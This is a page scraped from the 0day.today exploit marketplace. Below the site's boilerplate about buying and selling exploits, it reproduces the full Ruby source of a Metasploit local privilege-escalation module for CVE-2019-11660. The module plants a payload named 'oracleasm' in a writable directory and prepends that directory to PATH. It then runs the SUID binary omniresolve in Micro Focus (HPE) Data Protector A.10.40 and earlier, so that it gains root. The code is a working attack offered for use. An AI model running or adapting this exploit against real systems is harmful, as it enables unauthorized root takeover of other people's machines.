0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Micro Focus (HPE) Data Protector SUID Privilege Escalation Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Micro Focus (HPE) Data Protector SUID Privilege Escalation', 'Description' => %q{ This module exploits the trusted `$PATH` environment variable of the SUID binary `omniresolve` in Micro Focus (HPE) Data Protector A.10.40 and prior. The `omniresolve` executable calls the `oracleasm` binary using a relative path and the trusted environment `$PATH`, which allows an attacker to execute a custom binary with `root` privileges. This module has been successfully tested on: HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016; Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core) The vulnerability has been patched in: Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019 }, 'License' => MSF_LICENSE, 'Author' => [ 's7u55', # Discovery and Metasploit module ], 'DisclosureDate' => '2019-09-13', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Micro Focus (HPE) Data Protector <= 10.40 build 118', upper_version: Gem::Version.new('10.40') ] ], 'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true }, 'References' => [ [ 'CVE', '2019-11660' ], [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03525630' ] ] )) register_options( [ OptString.new('SUID_PATH', [ true, 'Path to suid executable omniresolve', '/opt/omni/lbin/omniresolve' ]) ]) register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'].to_s end def suid_bin_path datastore['SUID_PATH'].to_s end def check unless setuid? suid_bin_path vprint_error("#{suid_bin_path} executable is not setuid") return CheckCode::Safe end info = cmd_exec("#{suid_bin_path} -ver").to_s if info =~ /(?<=\w\.)(\d\d\.\d\d)(.*)(?<=build )(\d\d\d)/ version = '%.2f' % $1.to_f build = $3.to_i vprint_status("omniresolve version #{version} build #{build}") unless Gem::Version.new(version) < target[:upper_version] || (Gem::Version.new(version) == target[:upper_version] && build <= 118) return CheckCode::Safe end return CheckCode::Appears end vprint_error("Could not parse omniresolve -ver output") CheckCode::Detected end def exploit if check == CheckCode::Safe unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.') end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end end unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end payload_path = File.join(base_dir, 'oracleasm') register_file_for_cleanup(payload_path) write_file(payload_path, generate_payload_exe) chmod(payload_path) trigger_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) register_file_for_cleanup(trigger_path) write_file(trigger_path, "#{rand_text_alpha(5..10)}:#{rand_text_alpha(5..10)}") cmd_exec("env PATH=\"#{base_dir}:$PATH\" #{suid_bin_path} -i #{trigger_path} & echo ") end end # 0day.today [2024-09-28] #